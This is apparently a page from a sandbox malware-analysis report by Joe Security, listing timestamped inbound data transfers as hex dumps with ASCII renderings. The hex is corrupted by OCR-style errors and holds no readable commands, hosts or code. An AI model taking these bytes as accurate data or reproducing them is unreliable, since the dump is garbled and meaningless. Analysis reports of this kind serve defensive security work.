2022-01-14 03:59:48 UTC 1881 IN Data Raw: cd 61 fc d2 al 21 96 c2 12 77 3¢ bb 12 eb 90 4a ae fe 2c 20 1f 6b 4f 56 1c 77 20 c5 ef 53 84 b5 49 ab 53 0d 00
9b 96 3 34 38 c0 c1 6¢ 49 91 7f c2 8e b7 13 e6 29 9f 58 7c 44 9f cO e3 3e €6 46 6a 86 3a 85 ca 06 d1 a6 db 4c 99 5e cd 5
a3 4d 96 dc ac 09 29 1e 69 c3 d8 eb 74 f4 04 54 33 b9 82 db 54 57 0d 09 b0 67 7d f2 21 8d 05 df 5d 66 56 b4 e2 80 50 ed
4f €6 5d 5¢ 96 ee 2d 4d 68 3a 94 a4 9a 9d 7e e4 23 b5 dd 1c 02 b4 7c 23 0d fd 4e 46 d8 90 b6 43 8b 30 29 16 2f cd fc d3
8e 0 32 f6 1c 53 13 Of ¢5 7c d0 74 d7 45 af 80 9e 6¢ 75 44 31 1f 82 e4 dd 34 ¢3 11 1b dd ac 95 cd dc c7 d7 a9 93 30 dd a7
db c7 02 9d 2d fa b2 83 15 36 e4 b2 6e 9f 51 7 12 fe c1 ea 92 1f b5 89 ba 91 b9 b 9d bl ac bi 8d 70 66 ff 1d a5 e1 3d c8
1c 9f 89 6¢ 05 98 53 38 75 2f 30 9¢ 2b bd 60
Data Ascii: alw<J, kOVw SIS48l1)X|D>Fj:L"M)itTSTWg}!]fVPO]\-Mh:~##NFCO0)/2StEluD140-6nQpf=IS8u/0+"

2022-01-14 03:59:48 UTC 1897 IN Data Raw: a0 74 79 ¢3 b6 37 7c b4 79 a8 22 c8 98 f1 76 3e a4 b2 d3 22 60 89 62 a7 4f 46 78 41 c4 c5 el 40 2e c8 00 ae
4b 7d 10 58 13 57 ea 2a bb 38 €9 27 af f4 4a e7 36 1d 21 57 ac 8b dc 9f 6d 41 d6 eb ef b8 23 ¢6 27 ¢8 10 66 c1 62 b4 93
8a 4f 9c 11 €0 54 96 1a 76 6 3d 06 91 ¢1 70 cc be 5d db e2 57 ¢8 al ec ff 99 ef 6a al 28 3a 5¢ f0 ad 93 0 30 52 de 5b 2f
2 07 bf eb 78 b3 8d 4f 77 d4 1b 57 7d cO a7 ee fd 28 c1 33 b5 d3 a5 88 1c 17 5¢ cl c8 fc 4e 36 f4 68 b8 Ob 86 40 36 4b
24 da 82 ce 6a cc 88 be 0Of 1b 91 23 9a 73 cb ¢4 ec fc 59 13 47 86 23 13 bb al 82 15 db 3d cc 9a 79 9a 87 21 46 40 90 e7
1f ea 19 28 16 fd b3 ec 21 a8 1d 2f 08 ad 7e d5 c2 c1 06 68 al fb 5b 67 d3 2b 0a 29 a9 0d 92 5 4c 16 8d 08 ed 93 7f 74
59 aa 28 fe 9b e2 dc d4 c2 98 97 19 4b 75 d6 39 e d4
Data Ascii: ty7]y"v>"bOFXA@.KIXW*8'J6!WmA# fbOTv=p]Wj(:\OR[/XOWW}3\NBh@6KSj#s Y O#t=yIF@(!/~h[g+)LtY (Ku9

2022-01-14 03:59:48 UTC 1913 IN Data Raw: d7 ¢7 51 62 e7 a0 5f ea a5 84 54 f0 4c 23 71 e5 25 dd 15 f9 f9 a8 42 ee €9 89 eb 79 d0 51 fb 25 a4 69 96 c7 c5

52 b7 0c 94 75 b8 7c 4e 1a 60 b0 2e 33 4e fe 50 bf f5 95 ca 52 c1 db ee {7 54 bb 37 b2 ce 73 df 65 ac ba e6 54 5d 7d 50
06 30 75 aa 85 70 d5 ae 5b 16 4e Oe e6 61 16 95 a9 c4 8c 61 cd 28 19 a7 d1 Ob f8 53 a0 18 ea bd af Oa fO f5 a2 04 33 1e
44 9e a8 d4 11 fc 21 bd 1a c8 1d 6b 3b ec cf 42 a0 4e e2 bb 1e ba 70 55 5f 2¢c 16 b7 80 26 9c Oe bb d5 4c 64 72 b5 15 9b
66 44 91 8c f5 fc ae 03 2¢ 90 Oc ba 11 5e 00 d1 el 6e 8 20 ce 79 a5 2a 9b 45 5c 44 87 14 el el 6¢ d3 9d 40 f4 41 df b2
04 8f 1a 74 73 8b 18 f4 43 43 71 48 96 f9 cd 5e b5 ba 8f ¢7 c0 aa Oc d6 64 bc 7b 8e 03 04 80 10 4f 09 ba 8e 7a 52 1c 74
8339 a3 2c b2 e8 14 b4 el 23 7c 4e el 2b 6a 37 b8 1f

Data Ascii: Qb_TL#q%ByQ%iRu|N".3NPRT7seT]}POup[Naa(S3D!k;BNpU_,&LdrfD,*n y*E\DI@AtsCCqH"d{OzRt9,#|N+j7

2022-01-14 03:59:48 UTC 1929 IN Data Raw: 2b d7 de a2 7c 40 76 84 94 af 93 8c c7 Oe 70 ff 4d ae f0 57 01 4d 58 e2 a3 2e 67 9b bc 81 04 cd 08 04 af ec 4c
01 bb 57 aa 41 b8 e4 76 93 e4 87 18 7d bf 5e f1 a0 a6 db 92 7b 16 33 08 0f 84 01 47 02 c2 b8 74 b0 a3 33 4b e4 2e 73 34
ab de f3 d4 80 6f 75 a2 35 2a e5 41 fc 18 21 27 d6 ef cd 62 46 d5 46 6d 06 6e dc b8 00 30 a6 02 e2 16 9e 7e 74 66 bb eb
e3 le 2c 4f 11 8f a8 8e e0 ¢9 25 24 08 45 dd 23 a0 86 5b 84 27 ba 15 9d 3f 16 ba 1f 9d 70 24 da c9 8a 78 11 99 10 ef 86
fd a0 02 cb da 09 12 d7 Oe e3 e5 2e 1b 1a f2 a5 7a 7d 10 a9 5e aa c¢7 93 O0a 81 d7 a3 ff 7d d4 5f 2d 21 46 e7 de 76 7a 13
17 7f db 15 45 44 18 80 el f9 95 cb 5a 90 a3 cc bl 15 ae 87 48 b7 be 08 8b 7e 8e 56 e4 bf ff 36 e7 b7 a5 fb a7 38 62 81
dadc 71 cb c5 1afc c2 d2 36 94 08 15 88 7d 99 69 3b
Data Ascii: +|@vpMWMX.gLWAVIN3Gt3K.s4ou5*Al'bFFmnO~tf, O%S$E#[' ?p$x.z}\}_-IFvzEDZH~V68bq6}i;
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2022-01-14 03:59:48 UTC 1945 IN Data Raw: ea 72 f8 f4 bf cc d3 ae 7f 74 6b e5 49 3f 88 23 29 73 33 c9 {7 f7 09 d4 f8 3a 50 17 a0 5d 84 16 f4 €6 39 02 46
b5 cf 3b 53 ab 81 5b 39 e3 e2 30 c7 96 b8 15 26 7a 53 55 56 ff 38 4e 1b 58 3a ba 4a 61 d1 bc 08 f3 2b b4 e8 18 0d 54 68
f3 2c 6e 5a aa 78 61 Oe c0 ad 5f 86 al 4e 80 58 7a f1 74 2a 8c 1la f4 3b bc 6a 5a de c2 85 5a 63 a5 19 83 9f df 27 e5 7e 89
bffa111c 3999 e0 79 0578 0b c3 7c 83 a9 7e d8 a3 f5 c5 a3 a0 69 17 30 2d e7 9b ed ee a5 89 7e 91 78 72 58 43 7f 3b
cl e6 42 8e 54 37 32 c7 e4 94 bl 5f 0a 04 a6 48 8e 11 68 63 ad 2a 8a 13 85 a3 7a db e5 da e8 72 6d bd 05 a2 e7 12 61
63 25 98 bb 6¢ 9b 8f 9b 4d d2 ec 62 b0 67 a3 30 17 f6 ae e7 90 d6 a5 9b 17 ab c7 44 55 e4 dd 4c 18 b1 37 02 df ee af db
3b 10 dc bb 10 06 8e 68 1f cf 15 7 4c 16 bf el af c6
Data Ascii: rtk1?#)s3:P]9F;S[90&zSUV8NX:Ja+Th,nZxa_NXzt*;jZZc'~9yx|~i0-~xrXC;BT72_Hhc*zrmac%IMbgODUL7;hL

2022-01-14 03:59:48 UTC 1961 IN Data Raw: 4b 40 1b 88 b6 44 2a 51 d0 b9 1c 10 d4 5e 1e 4c 59 00 50 06 53 4f 9b 25 68 39 48 1a ed fb 4d 2e fa ce 62 6d
7762 cf70 77 9e eb 80 95 3e ed a8 10 d5 c9 6b ac 52 fb ec fd c7 8¢ 98 ac 32 a8 b1 17 d9 77 84 7a 2c 81 d2 33 5e 3e 2a
8f b7 70 33 5¢ 35 76 00 41 46 a6 f5 7d 65 b3 31 74 b7 b8 20 79 a5 54 20 bf 4d 4f 0f 34 73 0d 3c 20 b4 7d 56 23 50 d4 c3
af 9f 17 b6 ca 8d 4b ac 2b 03 14 81 97 1f 45 4e 03 Of b8 36 cb 2 7e 4a 14 8b 4f 32 bd 4e 50 3e 38 91 65 2a €9 9d 40 e fO
¢4 50 5f 50 ab 36 be 62 6d 73 8a 82 21 f4 a7 ac 58 c7 c4 ee be 76 98 da db 24 f0 35 60 26 23 05 2d da 97 cd 5e 52 e7 ef
60 a4 e0 9a d5 d2 4b a7 e7 de 54 19 a7 96 c5 89 c5 f4 a3 11 1c 3f 2f e2 04 0d 04 82 3e 2b 9e 42 e6 €0 13 aa 08 c7 84 3b
13 d7 a8 d3 c7 ac 4d 1c 59 e7 c6 47 04 40 fb 4d 48 8f
Data Ascii: K@D*Q"LYPSO%h9HM.bmwbpw>kR2wz,3">*p3\5vAF}elt yT MO4s< }V#PK+EN6~JO2NP>8e*@P_P
6bms!Xv$5 &#- "R KT?/>+B;MYG@MH

2022-01-14 03:59:48 UTC 1977 IN Data Raw: 80 b2 ae 13 98 7b 40 14 7d 84 91 44 1e 11 40 62 6a 13 8d 9a 1e 51 37 b9 53 b7 2a 34 b4 fc ff d4 c3 07 35 8b
5a 56 d7 5c a3 8b 36 a5 dc c9 2c 73 d1 02 d6 7e d2 42 56 6d fb 9f 37 ef 15 d9 Oc 1f fd 3e 44 b4 60 fO 11 7 d4 a0 24 Oe 7e
27 be 07 72 ed 80 91 6b cd 3f 9d e4 08 f2 48 0f d8 7b 5b 6 11 d0 Of 11 el b5 b1 0d 3f d5 c0 0a c5 34 77 19 3f 6a 93 af fb
d9 6b ba dc 38 77 2c 14 79 97 1f 59 59 c9 b8 e0 1d 54 e0 86 e4 7a 7b 3b Of f5 21 96 2a 02 29 ee 22 02 12 bd 6c 6f a0 48
e4 b2 24 29 c5 f5 fe d4 a4 a9 3b d4 35 65 83 48 2a 87 d6 7f fd b2 87 40 4a ea 5b 54 21 5d 54 Oc fc 36 4c fO 72 89 e9 c0 af
47 24 b8 22 ab b0 b7 98 Oc 77 8c Oe 83 53 7b a5 74 9f c1 89 ca d0 33 1b c6 3a 84 ee 56 90 c6 61 10 33 ae 5a 1f b6 8c 43
96 f5 71 00 e7 75 3d 07 bb a6 d6 46 7a 72 a8 ef
Data Ascii: {@}D@bjQ7S*45ZV\6,5~BVm7>D $~'rk?H{[?4w?jk8w,yYYTz{;!*)"loH$);5eH*@J[T!]T6LrG$"wS{t3:Va3
ZCqu=Fzr

2022-01-14 03:59:48 UTC 1993 IN Data Raw: 01 ed bf 2c ¢7 31 ac 60 ed 7e Oc 4a 1d a5 aa c6 94 d2 ee b7 bd 38 b7 51 6d 39 33 5e e4 91 33 6f ba cb 05 82
98 5b 61 8e 43 25 a5 e5 a9 74 df f8 b7 ea c2 ee 6¢ ed a5 cc a3 3a da 18 d4 7a 1c f6 fO ab d7 36 fb c4 79 4e b4 52 2¢ 73
46 fb e7 c5d1 1e 95 8a c2 a7 d7 d6 cc 54 d4 bb e7 18 b7 47 db 37 ed 41 b7 00 €0 bd 07 59 95 c4 c6 a0 fe 67 99 €8 a8 a8
d9 a2 39 55 93 ff 13 46 2c 87 16 4c 73 24 c3 3e e6 4e 4b d9 57 29 fa 43 96 56 a5 56 72 €0 27 3b ae af f4 91 8f d2 24 9e
60 7e fc 28 61 €0 26 cb 99 3f d1 ¢5 fb 7c 70 d5 bb 44 €9 e3 6a 79 76 bd df 5a 39 29 a5 7c 04 cd 45 cc d1 f4 73 b3 58 b5
60 b5 1d d0 56 d2 2d ea cb b3 d3 be b9 50 ec fb a3 3b cc cf 7e b7 25 6 35 ef cf 74 9e e7 af 80 95 b1 c9 cb 99 83 45 98 fa
89 78 23 1b ¢8 9f ¢8 13 0f 1f 23 66 da cc df 29 d2 43
Data Ascii: ,1'~J8Qm93"30[aC%tl:z6yNR,sSFTG7AYg9UF,Ls$>NKW)CVVr';$ ~(a&?|pDjyvZ9)|EsX V-P;~%5tEx##f)C

2022-01-14 03:59:48 UTC 2009 IN Data Raw: d3 a6 fc 65 08 7e 23 d6 3a 87 b8 b3 0d 07 ed 0d 70 03 bf 51 ec fa ac 47 b1 13 28 18 1f ed 75 d7 6d 10 3b 14
66 06 Oc 06 57 Ob 28 63 d3 33 80 e7 ba 46 18 be 19 05 c6 ff 49 31 cf e3 34 db d2 08 a2 3e 41 20 ff 21 2b 67 f7 e5 68 6a
a6 16 a4 4b c9 02 f1 aa e5 aa 19 2a 63 d6 80 83 47 d3 87 39 e1 b3 13 b7 d1 51 fb 80 78 6a 63 19 f1 a6 12 75 34 b0 1d 84
62 fb 21 c2 e3 e6 1f 67 60 8f 79 ad ed 90 b0 e7 1c dc 25 55 88 08 04 24 03 73 e4 2a 00 a9 a6 3d 4a d9 aa 20 8f 5e 9f dO
3af9 a7 5b d3 02220 d5 1c e4 28 12 4e 87 9d a2 c6 b8 39 96 30 1c f2 1f 9b d3 6¢ 6d a0 78 45 d1 44 72 46 54 52 5b 89
6595 12 f2 b7 77 36 b1 88 b9 b1 f3 cd 2b 24 5a 1a 4f ac 46 cc 07 b5 aa 45 d1 c4 c5 40 42 04 14 d2 00 c4 f6 45 le 46 35
17 11 el 1b Oe f1 d0 db 32 13 78 b4 e9 fa 11 be 09 9c db
Data Ascii: e~#:pQG(um;fW(c3FI14>A !+ghjK*cG9Qxjcudb!g y%U$s*=J ~:[ (N9OIMXEDrFTR[ew6+$ZOFE@BEF52x

2022-01-14 03:59:48 UTC 2025 IN Data Raw: a4 d6 b2 bc 18 79 b4 07 40 a6 86 08 87 b9 02 02 53 96 39 b1 22 78 fa 7e 7f 12 28 1f 0d 90 2e 8f 25 4e 5b bb 5f
7d 9a 18 e5 87 2a 4b 05 52 6a 45 9d 8¢ 76 92 24 52 c2 2d 42 c4 2c 7b 5d 83 23 69 2b 07 b0 7a 83 19 e6 74 €9 14 10 58
e2 1e 5e 00 e8 60 14 bl 2e 44 bb de 8a 88 6d bd 54 f1 cc b9 8e cb 2d 10 08 2d 2d 2b 50 f0 00 80 ed 8f 8d d0 al 50 a0 Oe
bd 69 e5 0d 41 1d 8d 21 5e 75 35 96 44 5c¢ 32 cc 35 3b 41 da f7 3f 8d 79 5b 1f 76 7a e9 1a e3 5f 16 93 4c 6a 05 d2 d4 8c
dd 8d d4 04 2 4e aa 49 ad c5 79 8f 8f 5d 6d 59 3e fe 8b a8 a5 af 5a 7a 21 5¢ 81 7c 45 15 39 35 b9 Ob fa 2e 45 37 73 de
6d 6b 03 24 9a 90 2f Oe 1b ef ad c7 cd 7b 98 2c aa 2d f4 01 2a e4 f1 bd 29 ed da 86 07 8a 02 €2 94 17 74 c0 aa b7 6a 6b
3e b2 25 26 7f fb 08 c6 bc b2 f8 36 68 80 3e 30 c4 8e f6
Data Ascii: y@S9"x~(.%N[_F*KRJEVSR-B, {|#i+ztX"".DMT---+PPiAINuSD\25;A?y[vz_LjNIlylmY>Zz\|E95.E7smk$/{,-*)tjk>%
&6h>0

2022-01-14 03:59:48 UTC 2041 IN Data Raw: 86 16 71 84 02 bb ¢3 21 10 d6 dO f2 61 58 c1 85 ab ed 9c fb €0 ce bb 5¢ 2a 18 96 8b 2b bc 31 fd Ob 22 9d 9d 4f
60 58 fe 23 7b 6a 5¢ 23 dc 92 b8 05 a9 37 cc ff 4a 2f 30 Oa aa 35 f5 91 00 ab 2f ac 6a 1e e7 3d ec c2 79 4a 70 87 e5 38
82 17 49 92 60 d8 e5 8e d1 bf f8 05 14 24 a6 9a df a7 ae cc 2b db 95 82 95 92 f6 f9 d9 88 25 6d 6¢ 3e 39 92 1c 4e da b6
4d 2c bb 2e 1b bf f9 59 17 e7 €0 e8 08 ee f9 3a 5d fe 4f b8 {8 ed 6a 86 c7 6d 4f 16 75 dd 58 0a 97 ¢6 1b 94 b2 02 30 al bc
7¢ 51 0c be b4 8e ed 4a 41 6a d6 1d 22 1e 29 c8 3e 95 c0 d3 Of 1f 56 69 55 5e 42 9e 21 27 15 83 37 31 74 95 79 a0 Od ff
29 56 08 09 ff 49 el 7a 01 48 fe 36 03 a5 07 €0 1le 07 da 99 a8 15 c6 36 fe 66 3c 31 37 d1 27 27 dd 61 d1 ae bc d5 80 69
0591 85 d5 75 57 35 15 75 0a a9 23 21 16 29 59 11
Data Ascii: qlaX\*+1"O X#{j\#7J/05/j=yJp8I'$+%mI>9NM,.Y:]OjmOuX0|QJA]")>ViUAB!'7 1ty)VIzZHE6f< 1 7"aiuW5u#!) Y

2022-01-14 03:59:48 UTC 2057 IN Data Raw: 35 43 68 2c 7b 36 bc 56 e3 b6 dc 49 21 59 cb b9 cd 09 f8 d3 5f 45 25 73 ac e3 18 92 80 91 83 e9 e6 aa ba c4
a0 47 d5 73 ae c2 a6 d2 12 2d 2c 85 ea 6a fO eb e6 31 87 ¢6 67 d4 20 15 35 9c ac 54 c0 ad 8d 08 e0 a9 24 a7 85 19 11 af
Oc 26 ef 86 55 06 cc 42 88 b9 70 ea 7b 59 eb 5f 6b 57 f4 60 a9 ab 28 6b 57 33 9d 53 a0 2d 5a 69 21 0a 52 bc c1 6e 70 e9
4f Oe ba cd e2 2a ff 8b Oe 04 ab e4 d6 85 a7 b2 f6 7a 17 ef 03 8a fb 80 43 00 df 27 fO ba ea 34 e4 67 e2 b2 c5 75 fa e8 f3
50 c8 41 e0 80 a4 10 6e 19 6a 22 a6 fb c6 ea c3 5a 43 23 f6 90 2f 26 90 4e bf 99 5e 93 22 e2 d0 63 ef f1 05 fa €6 17 6¢ 4a
ch 62 3c d8 66 ae 25 7b cd 59 5d 64 d6 a7 43 9d 20 3e 12 20 90 fd bb 6d 15 Ob 1d 87 93 b4 b2 fa 21 9c Oe 94 f8 5b 14 63
4d 3c 2e 4e ff 96 fe bc 64 5¢ 50 ff f5 3f db 3f a5
Data Ascii: 5Ch,{6VI'Y_E%sGs-,j1g 5T$&UBp{Y_kW' (kW3S-Zi!RnpO*zC'4guPAnj"ZC#/&N""clIb<f%{Y]dC > m![cM
<.Nd\P??

2022-01-14 03:59:48 UTC 2073 IN Data Raw: 93 73 3b 01 0f 84 24 5d 4a 07 fb a3 a0 a6 8b 20 f9 73 94 4d c1 41 d0 90 50 4f 98 d0 49 d7 le a2 1d 14 12 70
e4 b2 2 59 f4 fd 8¢ 03 a9 c6 6e fd a0 7f e2 22 1c de 45 6¢ af a6 da 12 c2 Oc 69 30 4d 57 f0 72 cf b7 e3 6¢ c6 8b e0 76 5d
8d a3 69 da af f8 46 cd c0 31 bd 86 42 12 99 5a 86 b5 10 36 Ob bl 6f 36 bd 84 12 f3 4a 17 66 67 a7 c5 20 2d 96 61 61 al
30 e5 2d a0 8a 49 d8 59 2d 42 a2 27 86 21 de 38 34 36 ¢7 9d ca a5 02 91 77 77 c9 a2 6e 2a e3 9b 8b b7 50 c0 db 03 da
5c 53 b5 0f 06 69 19 2a 0a c1 el Oa 79 Oc 3f 63 e2 87 ¢1 88 97 29 dc db c2 ¢6 9b 28 19 8c c0 1d c7 60 ac 49 le a5 2b c8
a5 a2 dd d9 9e 0d 75 b8 53 9c 02 f6 ea d6 3d 7f 4e cd 9b 3f f1 8c ec 01 2a db 2d 8d 6b 05 16 4b 22 al 81 97 18 2a 02 af
2522 67 4e ¢3 29 e0 57 a5 43 02 2¢ 4f 99 9¢ 17 b4 Ob ec
Data Ascii: s;$]J SMAPOIpYn"EliOMWrlv]iF1BZ606Jfg -aa0-1Y-B'1846wwn*P\Si*y?2c)(" [+uS=N?*-kK"*%"gN)WC,O

2022-01-14 03:59:48 UTC 2089 IN Data Raw: 9d 23 58 af 52 08 63 74 b5 f1 c9 6d eb 1b 73 d4 16 6f d7 48 d9 ce 24 7f Oe 54 34 66 f8 45 5a 1b 2b 15 7c 60 b4
22 bb 10 e8 f3 16 eb 33 d8 d4 5e 13 8b 5a 88 ac 2c 76 56 50 1b 82 f9 50 91 f9 4c 94 17 44 97 f5 80 82 e2 df 70 e4 3c 62
3417 92 ef 20 cf €9 52 07 f3 b6 29 e6 29 83 5e 23 db c4 ab 83 89 c4 00 6e 1a 20 d2 81 fe 2f 93 7f 65 a6 b7 6a 63 1d 86 e0
a9 c6 8b e3 9b 27 ba 89 e3 5 56 4f 94 40 1f 2e 38 d9 96 99 20 39 00 7b 49 71 51 09 63 ea 65 c0 c1 66 a9 12 a3 55 09 e7
db e0 13 44 e9 89 f7 99 ab 90 al b5 1d cc 59 b4 39 91 1b 96 3e d2 e5 80 2c d5 94 84 24 f4 aa e2 58 ad 1e Oe 04 4c a7 be
Ob b9 7 f0 b2 43 52 c6 b7 a0 e4 0a f8 79 08 ef 0f 97 04 69 8f 71 a9 fa a7 21 d2 f2 d0 be c4 3d ee 6a 9f Ob 44 06 f0 6f 57 ff
1b 35 4b ba 85 1a 85 3b 98 fc 11 66 ce 5b 76
Data Ascii: #XRctmsoH$T4fEZ+|™"32Z,vWPPLDp<b4 R))*#n /ejc'VO@.8 H{lqQcefUDY9>,$XLCRyiq!=jDoW5K;f[v

Copyright Joe Security LLC 2022 Page 87 of 135



kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 2105 IN Data Raw: 9b 35 9f 39 85 a2 82 0a 80 c6 6f de f0 54 6d 3e 26 b8 85 f2 e1 29 9d b4 d3 ac 09 el db 6a 0d 2c 9b 8 42 2b 0d
1c 24 fe e9 4f 91 c3 be 12 69 33 de 66 97 79 e4 31 5d 32 53 77 0a 27 55 19 al Oc 5c 85 4e 5d c9 36 €8 51 99 08 db 94 e5
69 cb f1 4e ca 01 6a a7 84 16 50 61 5a 85 dc 96 e6 8a 5d 96 59 32 15 ce 1a b9 bd 95 62 4c f8 6f 1a 86 06 b6 2d 66 2a 52
48 58 56 d7 cd 88 1e 96 f1 34 70 93 83 27 63 5c¢ 7 ba 93 4e 91 61 8b 2d 56 b9 0b 8f 86 3b 4c 6b de 1a db Ob 2b bb 9b 76
31 bf f0 83 64 d2 74 9f cb €9 75 43 17 al 32 47 90 7a 51 51 52 a2 48 ff d9 ec ce 96 48 ff c3 e6 16 68 a6 c5 6a 28 2a 38 ff
39 d6 2e c5 6b b9 7c f7 f5 34 5d b3 12 41 81 cc 6d fO 6d bd ac 60 4b a8 9c 7e c4 ba 59 1d 95 Ob d2 bb 05 1c 1a d4 fb 40
a4 21 17 Oe 18 Oe 6a 2d 36 26 f4 39 da 2c bc 05 f6
Data Ascii: 590Tm>&)j,B+$0i3fy1]2Sw'U\N]6QiNjPaZzZ]Y 2bLo-f*RHXV4p'c\Na-V;Lk+v1dtuC2GzQQRHHhj(*89.k|4]A
mm'K~Y@!j-6&9,

2022-01-14 03:59:48 UTC 2121 IN Data Raw: 7a d8 44 a4 ec Ob e2 2c b9 7b e4 70 3f 8e 60 12 df 2a 11 18 48 89 6d ff 72 52 a2 6f 8c 9a 28 d1 bl da a0 4c d4
87 dd 8f 0a a9 56 0Ob 49 7 9f eb 52 6b 4e 05 61 60 4a 3e ce ef 61 ¢3 72 3d 95 7c 2d 6e 1d 39 27 89 a4 Ob e6 b0 79 4c f2
69 5c 41 b4 0c 95 ed 70 73 ab bc 7 8 be Oe 5¢ 06 73 c8 49 d4 fa b5 27 23 e0 d7 2a a5 6d 4e 3a 4b el da 3a 0d 45 96 ee
d0 87 f6 bc e7 42 el 9f 8f dc 36 db 1c bb f3 f1 84 d3 c7 ea df db 53 82 2c 39 ¢5 64 92 00 61 ea 19 ab 64 b5 98 60 3e 64 c1
4b d2 c9 25 2b 98 5a 7f 70 66 a9 33 4f df d8 e9 4e 58 17 96 56 97 50 4c b2 a4 0f fa 53 8b 7b 8 a0 6f 9f 1c fc 65 €9 e7 74
80 5e 8f 96 43 f8 57 13 c2 6a 89 9c f1 90 f1 6d c9 a2 34 7f e8 da aa f9 08 ef bd ee 69 2f f8 4e f3 1d a9 61 e6 2a 57 c4 ba
1d 58 76 cf 1d 25 6f 7f 89 80 12 92 ce cc 9d
Data Ascii: zD,{p? *HmrRo(LVIRkNa J>ar=|-n9'yLi\Aps\sI'#*mN:K:EB6S,9dad >dK%+Zpf3BONXVPLS{oet*"CWjm4i/
Na*WXv%o

2022-01-14 03:59:48 UTC 2137 IN Data Raw: 92 db 98 bf 72 4b c2 c5 d5 b4 0f 8d b3 27 ba db 03 8d b3 4d 84 ec b9 Ob al 58 f4 b5 19 a5 ed ee 3f 69 8d 01
6b 64 17 c1 0b a7 b9 ed ac 56 9c 5d ab c5 26 48 98 c7 36 bf ee a5 8e 75 21 e7 7e a4 73 df 39 9f 6f b0 bd de f5 8d 35 2a
84 c2 cf 2f 1d 5¢ f7 13 30 b0 03 94 90 el 4f 45 €9 7d 5d bd 46 31 d7 fb 7a 3d Of 00 d4 d1 98 45 5f f3 €9 1c 54 d0 31 44 b9
45 94 46 b8 fc 91 ca 9b d7 8f 2f e4 0a 6d 53 88 db c1 f5 1b 1b 0a cO b2 1c f8 7e a7 82 9e 11 7f 38 8a 8a bd 70 cd d5 73 6e
db af 07 de b2 27 04 56 22 d5 72 ad 63 4b a5 1c 7e 33 4b 7e 40 97 1b 1b ec c4 95 2b f9 03 €3 84 63 aa 73 b7 d7 55 e4 5b
fc 3c 55 e6 8d 9a 35 c1 98 d2 07 5a ca 93 18 ba 42 45 7c 2c ce 7c ca 4e 97 36 60 22 Oe a2 90 18 cc ea ca 9d 60 3b 6b 7
38 1d 18 0f b9 50 ba 5a a3 62 03 04 10 80 68 8a ef
Data Ascii: rK'MX?ikdV]&H6u!~s905*/\0OE}]F1z=E_T1DEF/mS~8psn'V"rcK~3K~@+csU[<U5ZBE|,|IN6™"";k8PZbh

2022-01-14 03:59:48 UTC 2153 IN Data Raw: 85 49 f2 c4 31 32 18 72 90 e8 5e f0 25 al 4b 78 25 12 63 3b 86 41 31 d5 f9 bf 59 c3 c6 66 be 0Of ea 64 8d d5 e2
36 71 b3 d2 16 bd be Oe 81 db 1c 81 16 37 53 e3 5e 87 23 eb 1b 40 6f fc a9 ff al b2 24 cb 6d a5 b4 a0 9e ac 5f f7 21 f0 18
al Oe 43 dd 39 f5 ac ce b8 1f 17 67 7f 14 43 90 47 22 57 5b 5f 1c ec b6 2e e7 90 50 €9 2¢ 3d b5 89 0a 8b c¢5 3¢ 33 71 cO
a9 2a b0 3b 1a d7 12 3a 70 b0 73 ec 75 02 04 ed ad f0 07 01 ae 13 bc 8e 6f 62 e5 ¢9 52 ¢3 31 73 5a 76 29 1e 4d a4 f8 3a
70 d9 11 65 57 44 2f a6 11 ab c5 d5 16 af Ob b0 36 fa ed f8 9d 6e 3a b7 83 66 9b 5d 7e 3f 5¢c 24 1c a2 18 89 12 f3 ¢4 c6 99
6c fe a7 79 00 cb 86 b8 18 eb fd 7d 29 fa a3 42 1e 94 3d el 10 Oc 35 5b 5¢ ca 9f 63 22 ff b4 Oe 26 de d9 bb 94 dd 2f b0 43
d6 82 31 2c ¢1 Oc a0 91 26 e5 2a 67 b4 c5 27
Data Ascii: 112r'%Kx%c;A1Yfd6q7S "#@o$m_!C9gCG"W[_.P,=<30g*;:psuobR1sZv)M:peWD/6n:f]~?\$ly})B=5[\c"&/C1,&*g’

2022-01-14 03:59:48 UTC 2169 IN Data Raw: 9e 97 73 17 ad a7 3b 95 9b 2a bd 75 5f b6 96 58 dc e8 8a 34 6e 41 bc b1 7d e6 31 ff dc 61 5f e6 b0 9d c2 90 cb
€8 b0 d0 77 63 bf d2 58 00 22 03 8b f8 b8 36 d1 d1 08 cf 1c 88 28 e7 6a d3 3b 3f 9c 2d d3 b2 €9 a9 12 8a 72 21 2d 94 2e
6e 14 15 59 5f e8 98 9a 78 85 25 4b d0 62 ab 45 97 56 ad 3 19 ec 2a 7f c7 ed e9 5e 80 eb de 85 a8 5d 20 el 45 be 9c b2
ec 95 97 a4 ¢4 50 dd 2a 2f 91 68 a4 6d cd 93 3f 72 22 77 50 70 2e aa 7b 11 5f 76 fb 04 14 a2 05 9e be ca 18 fc 9b cb de
89 ea lafa 1b d3 cb 03 e5 ef 2e e8 af 2d 38 9b 93 56 8d 32 44 c9 7a 97 46 2b 1d e3 44 54 31 87 74 af 79 2d c0 ¢3 23 1c
70 5b f1 a2 06 e6 b8 al 97 4d Oc f4 e0 39 ¢7 c9 d0 a7 76 9a c4 7c 6f db 4a 65 d6 69 f1 e7 €7 09 ee 9d 6b el 12 14 2c 34
4d 06 d7 82 90 de c8 46 50 2f 7c 76 14 98 bb 2a bd 41
Data Ascii: s;*u_X4nA}la_wcX"6(j;?-rl-.nY_x%KbEV*\] EP*/hm?r*wPp.{_v.-8V2DzF+DT1ty-#p[M9v|oJeik, AMFP/|v*A

2022-01-14 03:59:48 UTC 2185 IN Data Raw: 3a dd ab 66 e6 81 f7 ff e2 1e 80 b3 18 8a 54 06 fe a6 ce 8d 42 ac 70 a0 7c 7b 79 fd 95 17 e5 92 3a 23 4c 82 66
46 38 93 00 61 22 02 9a f6 61 55 82 55 7e c9 8d 6b a4 a4 6a 39 cb 60 db 9e bb 09 ec 88 83 a7 2d b5 c8 59 cd a0 f4 a2 44
94 be ab 04 14 3f cf 4c e5 fd 85 65 ce 50 81 1d f4 85 e7 1f 1c 5¢ d3 8¢ 7e 97 18 13 7e a2 a2 f2 1e fd 10 5d 70 f7 bb 56 13
6 78 89 91 1f 68 e5 40 6b Ob 6b 40 99 ae a3 bc 75 57 94 75 5a de 54 bd a5 0b 2e 15 a9 cc b6 d1 4e al 42 Of 8d 40 84 22
88 00 d0 63 b3 1c 10 f4 f8 cf 6¢ 69 b2 84 4e e0 a2 1f Ob 3 f1 b9 5d 5¢ b1 10 35 44 fc 23 06 7 96 8e 37 6d 7c 19 cb af fO
